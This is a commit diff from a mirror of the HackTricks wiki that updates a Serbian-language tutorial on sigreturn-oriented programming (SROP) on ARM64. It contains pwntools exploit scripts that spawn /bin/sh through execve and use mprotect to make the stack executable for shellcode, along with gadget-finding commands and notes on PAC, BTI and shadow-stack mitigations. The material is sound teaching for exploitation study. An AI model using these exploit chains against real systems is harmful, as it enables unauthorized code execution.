mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/rop-return-oriented-programing/srop
This commit is contained in:
parent
252b1407ed
commit
6747081886
@ -1,4 +1,4 @@
|
||||
# SROP - ARM64
|
||||
# {{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
@ -136,7 +136,7 @@ U sekciji **`vdso`** moguće je pronaći poziv na **`sigreturn`** na offsetu **`
|
||||
|
||||
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Stoga, ako je otkriven, moguće je **koristiti ovu adresu za pristup `sigreturn`** ako binarni fajl ne učitava.
|
||||
Stoga, ako dođe do curenja, moguće je **koristiti ovu adresu za pristup `sigreturn`** ako binarni fajl ne učitava to:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
@ -171,10 +171,59 @@ Za više informacija o vdso proverite:
|
||||
../ret2vdso.md
|
||||
{{#endref}}
|
||||
|
||||
A da zaobiđete adresu `/bin/sh`, možete kreirati nekoliko env varijabli koje upućuju na nju, za više informacija:
|
||||
A da biste zaobišli adresu `/bin/sh`, možete kreirati nekoliko env varijabli koje upućuju na nju, za više informacija:
|
||||
|
||||
{{#ref}}
|
||||
../../common-binary-protections-and-bypasses/aslr/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Automatsko pronalaženje `sigreturn` gadgeta (2023-2025)
|
||||
|
||||
Na modernim distribucijama `sigreturn` trampolin se i dalje izvozi iz **vDSO** stranice, ali tačan offset može varirati između verzija kernela i build flagova kao što su BTI (`+branch-protection`) ili PAC. Automatizacija njegovog otkrivanja sprečava hard-kodiranje offseta:
|
||||
```bash
|
||||
# With ROPgadget ≥ 7.4
|
||||
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
|
||||
|
||||
# With rp++ ≥ 1.0.9 (arm64 support)
|
||||
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
|
||||
```
|
||||
Oba alata razumeju **AArch64** kodiranja i će navesti kandidate `mov x8, 0x8b ; svc #0` sekvence koje se mogu koristiti kao *SROP gadget*.
|
||||
|
||||
> Napomena: Kada su binarni fajlovi kompajlirani sa **BTI**, prva instrukcija svake važeće mete indirektne grane je `bti c`. `sigreturn` trampolini koje postavlja linker već uključuju ispravnu BTI platformu, tako da gadget ostaje upotrebljiv iz neprivilegovanog koda.
|
||||
|
||||
## Povezivanje SROP-a sa ROP-om (pivot preko `mprotect`)
|
||||
|
||||
`rt_sigreturn` nam omogućava kontrolu *svih* opštih registara i `pstate`. Uobičajen obrazac na x86 je: 1) koristiti SROP za pozivanje `mprotect`, 2) pivotirati na novu izvršnu stek koja sadrži shell-code. Ista ideja funkcioniše na ARM64:
|
||||
```python
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = constants.SYS_mprotect # 226
|
||||
frame.x0 = 0x400000 # page-aligned stack address
|
||||
frame.x1 = 0x2000 # size
|
||||
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
|
||||
frame.sp = 0x400000 + 0x100 # new pivot
|
||||
frame.pc = svc_call # will re-enter kernel
|
||||
```
|
||||
Nakon slanja okvira možete poslati drugu fazu koja sadrži sirovi shell-kod na `0x400000+0x100`. Pošto **AArch64** koristi *PC-relative* adresiranje, ovo je često pogodnije od izgradnje velikih ROP lanaca.
|
||||
|
||||
## Validacija kernela, PAC i Shadow-Stacks
|
||||
|
||||
Linux 5.16 je uveo strožu validaciju korisničkih signalnih okvira (commit `36f5a6c73096`). Kernel sada proverava:
|
||||
|
||||
* `uc_flags` mora sadržati `UC_FP_XSTATE` kada je `extra_context` prisutan.
|
||||
* Rezervisana reč u `struct rt_sigframe` mora biti nula.
|
||||
* Svaka pokazivačka u *extra_context* zapisu je poravnata i pokazuje unutar korisničkog adresnog prostora.
|
||||
|
||||
`pwntools>=4.10` automatski kreira usklađene okvire, ali ako ih pravite ručno, obavezno inicijalizujte *rezervisano* na nulu i izostavite SVE zapis osim ako vam zaista nije potreban—inače će `rt_sigreturn` isporučiti `SIGSEGV` umesto da se vrati.
|
||||
|
||||
Počevši od mainstream Android 14 i Fedora 38, korisnički prostor se kompajlira sa **PAC** (*Pointer Authentication*) i **BTI** omogućeno po defaultu (`-mbranch-protection=standard`). *SROP* sam po sebi nije pogođen jer kernel direktno prepisuje `PC` iz kreiranog okvira, zaobilazeći autentifikovani LR sačuvan na steku; međutim, svaki **sledeći ROP lanac** koji vrši indirektne granice mora skakati na BTI-omogućene instrukcije ili PACed adrese. Imajte to na umu prilikom odabira gadgeta.
|
||||
|
||||
Shadow-Call-Stacks uvedeni u ARMv8.9 (i već omogućeni na ChromeOS 1.27+) su mitigacija na nivou kompajlera i *ne ometaju* SROP jer se ne izvršavaju instrukcije povratka—tok kontrole se prenosi od strane kernela.
|
||||
|
||||
## Reference
|
||||
|
||||
* [Linux arm64 signal handling documentation](https://docs.kernel.org/arch/arm64/signal.html)
|
||||
* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user